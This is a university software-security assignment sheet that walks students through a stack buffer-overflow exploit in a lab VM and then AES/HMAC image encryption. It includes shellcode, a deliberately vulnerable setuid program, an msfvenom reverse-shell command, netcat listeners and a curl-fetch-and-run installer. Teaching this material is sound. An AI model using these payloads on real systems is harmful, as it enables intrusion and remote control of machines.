FIT3173 Software Security Assignment I (S1 2022)
Total Marks 100
Due on Week 6 April 08, 2022, Friday, 23:55:00
1 Overview
The learning objective of this assignment is for you to gain first-hand experience on buffer overflow attacks
and get a deeper understanding of how to use cryptographic algorithms correctly in practice. All tasks in
this assignment can be done on“SeedVM”as used in labs. Please refer to Section 2 for submission notes.
2 Submission
You need to submit a lab report (one single PDF file) to describe what you have done and what you have
observed with screenshots whenever necessary; you also need to provide explanations or codes to the
observations that are interesting or surprising. In your report, you need to answer all the questions listed in
this manual. Please answer each question using at most 100 words. Typeset your report into .pdf format
(make sure it can be opened with Adobe Reader) and name it as the format: [Your Name]-[Student ID]-
FIT3173-Assignment1, e.g., HarryPotter-12345678-FIT3173-Assignment1.pdf.
All source code if required should be embedded in your report. In addition, if a demonstration video is
required, you should record your screen demonstration with your voice explanation and upload the video to
your Monash Google Drive. Your face should be visible at least at the beginning of the video interview. If
you do not wish to have your face visible in the video, contact the teaching team at least a week before the
deadline to arrange a physical or online interview. The shared URL of the video should be mentioned in
your report wherever required. You can use this free tool to make the video: https://monash.au.panopto.com/
; other tools are also fine. Then, please upload the PDF file to Moodle. Note: the assignment is due on April
08, 2022, Friday, 23:55:00
Late submission penalty: 10 points deduction per day. If you require special consideration, the
application should be submitted and notified at least three days in advance. Special Considerations
are handled by and approved by the faculty and not by the teaching team (unless the special consideration
is for a small time period extension of one or two days). Zero tolerance on plagiarism: If you are found
cheating, penalties will be applied, i.e., a zero grade for the unit. University policies can be found at
https://www.monash.edu/studen…
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2 3 Buffer Overflow Vulnerability [70 Marks]
The learning objective of this part is for you to gain first-hand experience on buffer-overflow vulnerability by
putting what they have learned about the vulnerability from class into action. Buffer overflow is defined as
the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixedlength buffers. This vulnerability can be utilized by an attacker to alter the flow control of the program, even
execute arbitrary pieces of code to enable remote access attacks. This vulnerability arises due to the mixing
of the storage for data (e.g., buffers) and the storage for controls (e.g., return addresses): an overflow in
the data part can affect the control flow of the program because an overflow can change the return address.
In this part, you will be given a program with a buffer-overflow vulnerability; the task is to develop a
scheme to exploit the vulnerability and finally send remote access to an attacker. In addition to the attacks,
you will be guided to walk through several protection schemes that have been implemented in the operating
system to counter against the buffer overflow. You need to evaluate whether the schemes work or not and
explain why.
3.1 Initial setup
You can execute the tasks using our pre-built Ubuntu virtual machines. Ubuntu and other Linux
distributions have implemented several security mechanisms to make the buffer-overflow attack difficult.
To simplify our attacks, we need to disable them first.
Address Space Randomization. Ubuntu and several other Linux-based systems use address space
randomization to randomize the starting address of heap and stack. This makes guessing the exact
addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this part,
we disable these features using the following commands:
$ su root
Password: (enter root password “seedubuntu”)
sysctl -w kernel.randomize_va_space=0
exit
The StackGuard Protection Scheme. The GCC compiler implements a security mechanism called“Stack
Guard”to prevent buffer overflows. In the presence of this protection, a buffer overflow will not work.
You can disable this protection if you compile the program using the -fno-stack-protector switch. For
example, to compile a program example.c with Stack Guard disabled, you may use the following
command:
$ gcc -fno-stack-protector example.c
Non-Executable Stack. Ubuntu used to allow executable stacks, but this has now changed: the binary
images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e.,
they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide
whether to make the stack of this running program executable or non-executable. This marking is done
automatically by the recent versions of gcc, and by default, the stack is set to be non-executable. To change
that, use the following option when compiling programs:
For executable stack:
$ gcc -z execstack -o test test.c
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Question 1
Please compile and run the following code and see whether a shell is invoked. Please briefly describe
your observations. [Marking scheme: 5 marks for the screenshot and 5 marks for the explanation]
For non-executable stack:
$ gcc -z noexecstack -o test test.c
3.2 Task 1: Shellcode Practice [10 Marks]
Before you start the attack, we want you to exercise with a shellcode example. Shellcode is the code to
launch a shell. It is a list of carefully crafted instructions created by malicious users/attackers so that it can
be executed once the code is injected into a vulnerable program. Therefore, it has to be loaded into the
memory so that we can force the vulnerable program to jump to it. Consider the following program:
include <stdio.h>
int main() {
char *name[2];
name[0] =‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
The shellcode that we use is the assembly version of the above program. The following program shows
you how to launch a shell by executing a shellcode stored in a buffer.
/ call_shellcode.c / /A program that creates a file containing code for launching shell/
include <stdlib.h>
include <stdio.h>
include <string.h>
const char code[] = “\x31\xc0” / Line 1: xorl %eax,%eax / “\x50” / Line 2: pushl %eax / “\x68″”//sh” / Line 3: pushl $0x68732f2f */ “\x68″”/bin” /* Line 4: pushl $0x6e69622f / “\x89\xe3” / Line 5: movl %esp,%ebx / “\x50” / Line 6: pushl %eax / “\x53” / Line 7: pushl %ebx / “\x89\xe1” / Line 8: movl %esp,%ecx / “\x99” / Line 9: cdq / “\xb0\x0b” / Line 10: movb $0x0b,%al */ “\xcd\x80” /* Line 11: int $0x80 / ;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)())buf)();
}
Please use the following command to compile the code (don’t forget the execstack option):
$ gcc -z execstack -g -o call_shellcode call_shellcode.c
The shellcode is stored in the variable code in the above program. A few places in this shellcode are worth
mentioning. First, the third instruction pushes“//sh”, rather than“/sh”into the stack. This is becausewe
need a 32-bit number here, and“/sh”has only 24 bits. Fortunately,“//”is equivalent to“/”, so we can get
away with a double slash symbol. Second, before calling the execve() system call, we need to store
name[0] (the address of the string), name (the address of the array), and NULL to the %ebx, %ecx, and
%edx registers, respectively. Line 5 stores name[0] to %ebx; Line 8 stores name to %ecx; Line 9 sets
%edx to zero. There are other ways to set %edx to zero (e.g., xorl %edx, %edx); the one (cdq) used
here is simply a shorter instruction: it copies the sign (bit 31) of the value in the EAX register (which is 0
at this point) into every bit position in the EDX register, basically setting %edx to 0. Third, the system call
execve() is called when we set %al to 11, and execute“int $0x80”.
3.3 The Vulnerable Program [5 Marks]
/ stack.c / / This program has a buffer overflow vulnerability. / / Our task is to exploit this vulnerability /
include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(char *str, int studentId)
{
int bufferSize;
bufferSize = 12 + studentId%32;
char buffer[bufferSize];
/ The following statement has a buffer overflow problem /
strcpy(buffer, str);
return 1;
} 4
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
int studentId = ;// please put your student ID
badfile = fopen(“badfile”, “r”);
fread(str, sizeof(char), 517, badfile);
bof(str,studentId);
printf(“Returned Properly\n”);
return 1;
}!
Warning: Note: In the vulnerable program you need to enter your student ID to the variable
studentid
Then, compile the above vulnerable program and make it set-root-uid. You can achieve this by compiling it
in the root account and chmod the executable to 4755 (don’t forget to include the execstack and
-fno-stack-protector options to turn off the non-executable stack and StackGuard protections):
$ su root
Password (enter root password “seedubuntu”)
gcc -g -o stack -z execstack -fno-stack-protector stack.c
chmod 4755 stack
exit
The above program has a buffer overflow vulnerability. It first reads input from a file called“badfile”, and then
passes this input to another buffer in the function bof(). The original input can have a maximum length
of 517 bytes, but the buffer in bof() has a limited size in the range [12, 43] bytes. Because strcpy()
does not check boundaries, a buffer overflow will occur. It should be noted that the program gets its input
from a file called“badfile”. This file is under users’control.
Question 2
Our objective is to create the contents for“badfile”, such that when the vulnerable program copies the
contents into its buffer, a remote access will be given to an attacker. [Marking scheme: 5 marks for
the screenshot (successful compiling stack.c file)] 5
3.4 Task 2: Exploiting the Vulnerability [30 Marks]
We provide you with a partially completed exploit code called exploit.c. The goal of this code is
to construct contents for“badfile”. In this code, you need to inject a reverse shell into the variable
shellcode, and then fill the variable buffer with appropriate contents.
/ exploit.c / / A program that creates a file containing code for launching shell/
include <stdlib.h>
include <stdio.h>
include <string.h>
char shellcode[]= / add your reverse shellcode here/;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/ Initialize buffer with 0x90 (NOP instruction) /
memset(&buffer, 0x90, 517);
/ You need to fill the buffer with appropriate contents here / / Save the contents to the file “badfile” /
badfile = fopen(“./badfile”, “w”);
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
You need to read Appendix 5.1 to investigate how to create a reverse shellcode. Then, you also need to study
how to simulate the attacker who is listening at a specific address/port and waiting for the shell. We refer
you to Appendix 5.2 for this simulation. After you finish the above program, compile, and run it. This
will generate the contents for“badfile”. Then run the vulnerable program stack.c. If your exploit is
implemented correctly, the attacker should be able to get the reverse shell.
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Info: Please compile your vulnerable program first. Please note that the program exploit.c, which
generates the badfile, can be compiled with the default Stack Guard protection enabled. This is
because we are not going to overflow the buffer in this program. We will be overflowing the buffer in
stack.c, which is compiled with the Stack Guard protection disabled.
$ gcc -g -o exploit exploit.c
$./exploit // create the badfile
$./stack // launch the attack by running the vulnerable program
If the attacker obtains the shell successfully, her terminal should be as follows (assuming that she is
listening at port 4444, and the program stack.c is running at the address 10.0.2.15 or any other
relevant IP address on your VM).
$[02/03/22]seed@VM:˜$ nc -lvp 4444 // listening at the port 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [10.0.2.15] port 4444 [tcp/*] accepted
Once the attacker obtains the shell, the attacker can remotely manipulate all the current files where the
program stack runs.
Info: Hint: Please read the Guidelines of this part. Also, you can use the GNU debugger gdb to find
the address of buffer[bufferSize] and“Return Address”, see Guidelines and Appendix. Please
note that providing an incorrect student ID will result in a 0 mark for this task. The full marks
are only given if you have a solid explanation with supporting memory address analysis.
Question 3
Provide your video demonstration evidence to support and verify that you have performed
the
and embed its shared link to your report so that the teaching team can view and verify your
works. In the video, you need to demonstrate following key points:
The buffer overflow happens and the attacker receives the shell when the victim executes
the vulnerable program stack. (10 marks if the attack works during your
demonstration video)
vulnerable function. (10 marks for the debug demonstration and memory analysis)
for“badfile”. (10 marks for your explanation during the demonstration video)
3.5 Task 3: Address Randomization [5 Marks]
Now, we turn on Ubuntu’s address randomization. We run the same attack developed in the above task.
Can you get a shell? If not, what is the problem? How does the address randomization make your
attacks difficult? You can use the following instructions to turn on the address randomization:
$ su root
Password: (enter root password“seedubuntu”)
/sbin/sysctl -w kernel.randomize_va_space=2
If running the vulnerable code once does not get you the root shell, how about running it many times?
You can run ./stack in the following loop, and see what will happen. If your exploit program is
designed properly, you should be able to get the root shell after a while. You can modify your exploit
program to increase the probability of success (i.e., reduce the time that you have to wait).
$ sh -c “while [1]; do ./stack; done;”
Question 4
Follow the above steps and describe your observations and explanations briefly. Furthermore, try
whether you can obtain root shell again. [Marking scheme: 3 marks for
3.6 Task 4: Stack Guard [5 Marks]
Before working on this task, remember to turn off the address randomization first, or you will not know
which protection helps achieve the protection.
In our previous tasks, we disabled the“Stack Guard”protection mechanism in GCC when compiling the
programs. In this task, you may consider repeating the above task in the presence of Stack Guard. To do
that, you should compile the program without the -fno-stack-protector option. For this task, you will
recompile the vulnerable program, stack.c, to use GCC’s Stack Guard, execute the stack program (in task 1)
again, and report your observations. You may report any error messages you observe.
In the GCC 4.3.3 and newer versions, Stack Guard is enabled by default. Therefore, you have to disable
Stack Guard using the switch mentioned before. In earlier versions, it was disabled by default. If you use
an older GCC version, you may not have to disable Stack Guard.
Question 5
Follow the above steps and report your observations briefly. [Marking scheme: 3 marks for
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3.7 Task 5: Non-executable Stack [5 Marks]
Before working on this task, remember to turn off the address randomization first, or you will not know
which protection helps achieve the protection.
In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable
program using the noexecstack option and repeat the attack in the above task. Can you get a shell? If
not, what is the problem? How does this protection scheme make your attacks difficult? You can
usethe following instructions to turn on the non-executable stack protection.
gcc -o stack -fno-stack-protector -z noexecstack stack.c
It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it does
not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting a
buffer-overflow vulnerability.
If you are using our SEEDVM, whether the non-executable stack protection works or not depends on the
CPU and the setting of your virtual machine because this protection depends on the hardware feature that is
provided by the CPU. If you find that the non-executable stack protection does not work, check our
document(“Notes on Non-Executable Stack”) that is linked to the course web page, and see whether the
instruction in the document can help solve your problem. If not, then you may need to figure out the
problem yourself.
Question 6
Follow the above steps and describe your observations and explanations briefly. [Marking scheme: 3
marks for
3.8 Task 6: Completion and file delivery [10 Marks]
!
Warning: All codes in the above files (shellcode.c, exploit.c, stack.c, and badfile) need to be
attached to your PDF report to obtain full marks. Failure to provide any of the above four documents
will result in a reduction of 2.5 Marks for each file.
Hint: Please use GHex to open and demonstrate the return address, nop sled, and shellcode in badfile.
3.9 Guidelines
We can load the shellcode into“badfile”, but it will not be executed because our instruction pointer will not
be pointing to it. One thing we can do is to change the return address to point to the shellcode. But we
have two problems: (1) we do not know where the return address is stored, and (2) we do not know where
the shellcode is stored. To answer these questions, we need to understand the stack layout the execution
enters a function. The following figure gives an example.
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Finding the address of the memory that stores the return address – From the figure, we know, if we
can find out the address of buffer[] array, we can calculate where the return address is stored. Since
the vulnerable program is a Set-UID program, you can make a copy of this program, and run it with your
own privilege; this way you can debug the program (note that you cannot debug a Set-UID program).
In the debugger, you can figure out the address of buffer[], and thus calculate the starting point of the
malicious code. You can even modify the copied program, and ask the program to directly print out the
address of buffer[]. The address of buffer[] may be slightly different when you run the Set-UID
copy, instead of your copy, but you should be quite close.
If the target program is running remotely, you may not be able to rely on the debugger to find out the
address. However, you can always guess. The following facts make guessing a quite feasible approach:
• Stack usually starts at the same address.
• Stack is usually not very deep: most programs do not push more than a few hundred or a few thousand
bytes into the stack at any one time.
• Therefore, the range of addresses that we need to guess is actually quite small
Finding the starting point of the malicious code – If you can accurately calculate the address of
buffer[], you should be able to accurately calculate the starting point of the malicious code. Even if
you cannot accurately calculate the address (for example, for remote programs), you can still guess. To
improve the chance of success, we can add a number of NOPs to the beginning of the malicious code;
therefore, if we can jump to any of these NOPs, we can eventually get to the malicious code. The
following figure depicts the attack.
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Storing a long integer in a buffer – In your exploit program, you might need to store a long integer (4
bytes) into a buffer starting at buffer[i]. Since each buffer space is one byte long, the integer will actually
occupy four bytes starting at buffer[i] (i.e., buffer[i] to buffer[i+3]). Because buffer and long are of different
types, you cannot directly assign the integer to buffer; instead, you can cast the buffer+i into a long pointer,
and then assign the integer. The following code shows how to assign a long integer to a buffer starting at
buffer[i]:
char buffer[20];
long addr = 0xFFEEDD88;
long ptr = (long ) (buffer + i);
*ptr = addr;
4 Proper Usage of Symmetric Encryption [30 Marks]
In this task, we will play with a hash function to achieve integrity and with symmetric key encryption
algorithms different modes of operation. The provided file pic original.bmp contains a simple picture.
We would like to encrypt this picture, so people without the encryption keys cannot know what is in the
picture.Also, we want to make sure that the encrypted files are not modified/altered by some unauthorized
entities. Thus, we are going to create a program that has the following approach:
- open the image file and load it to the software program
- initialize the key (the key will be your studentid) to be used and the IV to be used (a random number)
- generate the Message Digest of the image using the HMAC function. You can use your
studentid as the key - concatenate the message digest at the end of the image
- encrypt the image and its message digest using AES ECB and CBC modes
- view the encrypted image with an image viewing tool
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% openssl enc ciphertype -e -in pic_original.bmp -out cipher.bin \ -K 00112233445566778889aabbccddeeff \ -iv 0102030405060708
Question 7
Option 1: Provide the commands that you used in order to implement the described scenario
of this task and attach screenshots of your actions using the terminal in your report. [Marking
scheme: 5 marks for the instructions and 5 marks for the screenshots]
Please encrypt the file using the AES ECB (Electronic Code Book) and AES CBC (Cipher Block Chain-ing)
modes, and then do the following:
Note: for thistask, you can go to either option 1 or option 2. But option 2 will allow you to obtain the
full marks of this question. - Option 1 (10 Marks): You can use the following openssl enc command to encrypt/decrypt
theimage file. To see the manuals, you can type man openssl and man enc.
Please replace the ciphertype with a specific cipher type, such as -aes-128-cbc and -aes-
128-ecb. In this task, you should try AES ECB and AES CBC modes using your student
id as the encryption key for encryption. You can find the meaning of the command-line options
and all the supported cipher types by typing‘‘man enc’’(check the supported ciphers
section). We include some common options for the openssl enc command in the following:
You can also follow similar steps for the hmac of the message (for example you can find more
information in the following link: https://stackoverflow.com/que…
hmac-sha1-in-bash) - Option 2 (30 Marks): Write a C program by using OpenSSL library to encrypt the image in AES ECB
and AES CBC mode respectively and to use HMAC as described at the beginning of this task. You
are required to use your student id as the encryption key for encryption and MAC. You may refer to
the sample code given in Appendix 5.4. Header files“openssl/conf.h, openssl/evp.h, openssl/hmac.h,
openssl/err.h”will be used for calling related OpenSSL functions. Using the following command line
to compile your program (assuming that your program is image encryption.c and your executable file
is named as image encryption):
$ gcc -I /usr/local/ssl/include -L /usr/local/ssl/lib -o \
image_encryption image_encryption.c -lcrypto -ldl
Some references for coding:
-https://wiki.openssl.org/inde…
yption
-https://alinush.github.io/AES… -https://stackoverflow.com/que…
how-to-do-encryption-using-aes-in-openssl
-https://gist.github.com/yoshi…
Let us treat the encrypted picture as a picture and use picture viewing software to display it. However, for the .bmp file, the first 54 bytes contain the header information about the picture, we have
to set it correctly, so the encrypted file can be treated as a legitimate .bmp file. We will replace the
header of the encrypted picture with that of the original picture. You can use the ghex tool (on the
desktop of SEED-VM) to directly modify binary files.
Question 8
Option 2: Provide your video demonstration evidence to support and verify that you have
performed the encryption with different AES ECB and CBC modes. You need to upload
your demo video to your Monash Google Drive and embed its shared link to your report so that
the teaching team can view and verify your works. In the video, you need to demonstrate the
following key points:
• Run the program with different encryption modes and display the encrypted pictures using
any picture viewing software. Can you derive any useful information about the original
picture from the encrypted picture? Please explain your observations (20 marks for your
explanation during demonstration video) • Open the source code and explain clearly how you program to generate such results. (10
marks for your coding explanation during demonstration video).
!
Warning: Completion: Please put your code and related code comments (for ECB and
CBC, respectively), and the encrypted pictures to your report. Failure to provide any of
the above four files will result in a reduction of 2.5 marks for each file.
Acknowledgment
This assignment is based on the SEED project (Developing Instructional Laboratories for Computer
SEcurity EDucation) at the website http://www.cis.syr.edu/˜wedu/seed/index.html.
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Appendix
5.1 Reverse Shell Creation
A reverse shell (sometimes is known as a malicious shell) enables the connection from the target machine to
the attacker’s machine. In this situation, the attacker’s machine acts as a server. It opens communication
on a port and waits for incoming connections. The target machine acts as a client connecting to that listener,
and then finally the attacker receives the shell. These attacks are dangerous because they give an attacker an
interactive shell on the target machine, allowing the attacker to manipulate file system/data.
In this assignment, two ways can be followed to use a reverse shell. The first way is to use popular
shellcode databases on the internet to find an appropriate shellcode or use some tool that can generate
shellcode for us.
Popular exploitation databases that provide shellcodes are the following:
http://shell-storm.org/shellc…
https://www.exploit-db.com/sh…
Alternatively, to generate a shellcode, we can use msfvenom module in Metasploit. Metasploit is one of
the most powerful and widely used tools for exploring/testing the vulnerability of computer systems or to
break into remote systems. You first install Metasploit by opening a terminal and entering the following
command. Note that the command is one-line command without line breaks.
curl https://raw.githubusercontent…
master/config/templates/metasploit-framework-wrappers/
msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
To see msfvenom help, you can use msfvenom -h. To generate a reverse shell, you can use the
following command. You should wait a few seconds to obtain the reverse shellcode.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.2.15 LPORT=4444 -f c
where -p is a payload type (in this case it’s for 32-bit Linux reverse shell binary), LHOST is your SEED
machine’s IP address (assuming you’re the attacker), LPORT is the port where the attacker is listening, and
-f is a format (c in this case).
!
Warning: Some shellcodes may not work in your Seed VM and/or with the provided vulnerable
program. For example. this can happen if the shellcode has a byte with —00— value (the NULL
value)which is interpreted by C as the end character of a string and will stop the execution of the
shellcode. We will consider a solution to be correct as long as the netcat listener manages to
receive a connect(even if the connection cannot be maintained afterward and netcat closes)
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5.2 Netcat Listener
In this assignment, we use Netcat to simulate the attacker’s listener. Fortunately, Netcat is already installed
in SEEDVM. It’s a versatile tool that has been dubbed the Hackers’Swiss Army Knife. Its most basic
feature is to read and write to TCP and UDP ports. Therefore, it enables Netcat can be run as a client
or a server. To see Netcat help, you can type nc -h in the terminal. If you want to connect to a
webserver (10.2.2.2) on port 80, you can type
nc -nv 10.2.2.2 80
And if you want your computer to listen on port 80, you can type
nc -lvp 80
5.3 GNU Debugger
The GNU debugger gdb is a very powerful tool that is extremely useful all- around computer science, and
MIGHT be useful for this task. A basic gdb workflow begins with loading the executable in the debugger:
gdb executable
You can then start running the problem with:
$ run [arguments-to-the-executable]
(Note, here we have changed gdb’s default prompt of (gdb) to $).
In order to stop the execution at a specific line, set a breakpoint before issuing the“run”command. When
execution halts at that line, you can then execute stepwise (commands next and step) or continue
(command continue) until the next breakpoint or the program terminates.
$ break line-number or function-name
$ run [arguments-to-the-executable]
$ step # branch into function calls
$ next # step over function calls
$ continue # execute until next breakpoint or program termination
Once execution stops, you will find it useful to look at the stack backtrace and the layout of the current
stack frame:
$ backtrace
$ info frame 0 $ info registers
You can navigate between stack frames using the up and down commands. To inspect memory at a
particular location, you can use the x/FMT command
$ x/16 $esp
$ x/32i 0xdeadbeef
$ x/64s &buf
where the FMT suffix after the slash indicates the output format. Other helpful commands are disassemble
and info symbol. You can get a short description of each command via
$ help command
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In addition, Neo left a concise summary of all gdb commands at:
http://vividmachines.com/gdbr…
You may find it very helpful to dump the memory image (“core”) of a program that crashes. The core
captures the process state at the time of the crash, providing a snapshot of the virtual address space, stack
frames, etc., at that time. You can activate core dumping with the shell command:
% ulimit -c unlimited
A crashing program then leaves a file core in the current directory, which you can then hand to the
debugger together with the executable:
gdb executable core
$ bt # same as backtrace
$ up # move up the call stack
$ i f 1 # same as “info frame 1”
$ …
Lastly, here is how you step into a second program bar that is launched by a first program foo:
gdb -e foo -s bar # load executable foo and symbol table of bar
$ set follow-fork-mode child # enable debugging across programs
$ b bar:f # breakpoint at function f in program bar
$ r # run foo and break at f in bar
5.4 AES Encryption Function Sample Code
The AES encryption function will take as parameters the plaintext, the length of the plaintext, the key to be
used, and the IV. We will also take in a buffer to put the ciphertext in (which we assume to be long enough)
and will return the length of the ciphertext that we have written. Encrypting consists of the following stages:
(1) Setting up a context (2) Initialising the encryption operation (3) Providing plaintext bytesto be encrypted
(4) Finalising the encryption operation.
During initialization, we need to provide an EVP_CIPHER object. In this example, we are using
EVP_aes_128_cbc(), which uses the AES algorithm with a 128-bit key in CBC mode.
int encrypt(unsigned char *plaintext, int plaintext_len, unsigned char
key,unsigned char iv, unsigned char *ciphertext)
{
EVP_CIPHER_CTX *ctx;
int len;
int ciphertext_len;
/ Create and initialise the context / if(!(ctx = EVP_CIPHER_CTX new())) handleErrors();
/* Initialise the encryption operation. IMPORTANT – ensure you use a
key and IV size appropriate for your cipher
*/
17
if(1 != EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv))
handleErrors();
/* Provide the message to be encrypted and obtain the encrypted
output. EVP_EncryptUpdate can be called multiple times if necessary
*/
if(1 != EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext,
plaintext_len))handleErrors();
ciphertext_len = len;
/* Finalise the encryption. Further ciphertext bytes may be written
at this stage.
*/
if(1 != EVP_EncryptFinal_ex(ctx, ciphertext + len, &len))
handleErrors();
ciphertext_len += len;
/ Clean up /
EVP_CIPHER_CTX_free(ctx);
return ciphertext_len;
}
Also, the code skeleton is given for image encryption. Note: if you stick to the following steps, your
program will directly output the encrypted image which can be viewed by any image viewer.
Alternatively,you may encrypt the entire image file and use ghex tool as suggested in the step of Option 2
to replace the header of the original image header for image preview.include <openssl/conf.h>
include <openssl/evp.h>
include <openssl/err.h>
include <stdlib.h>
include <stdio.h>
include <string.h>
void handleErrors()
{
printf(“Wrong encryption progress\n”);
}
int encrypt(unsigned char *plaintext, int plaintext_len, unsigned char
key,unsigned char iv, unsigned char *ciphertext)
{
// implement the encryption function based on the above example
}
int main(int argc, char **argv)
{
char * fileName=”pic_original.bmp”;
//==================== STEP 0================================//
/* Key initialization.
It will be automatically padded to 128 bit key */
//==================== STEP 1================================//
/* IV initialization.
The IV size for most modes is the same as the block size. - For AES128 this is 128 bits
/*
//==================== STEP 2================================//
//read the file from given filename in binary mode
printf(“Start to read the .bmp file \n”);
//==================== STEP 3================================//
/*allocate memory for bitmapHeader and bitmapImage.
then read bytes for these variables */
//allocate memory for the final ciphertext
/* as this is a .bmp file we read the header,
the first 54 bytes, into bitmapHeader*/
//read the bitmap image content until the end of the .bmp file
//==================== STEP 4================================//
// encrypt the bitmapImage with the given studentId key
//==================== STEP 5================================//
/*merge header and bitmap to the final ciphertext
and output it into a .bmp file*/
return 1;
}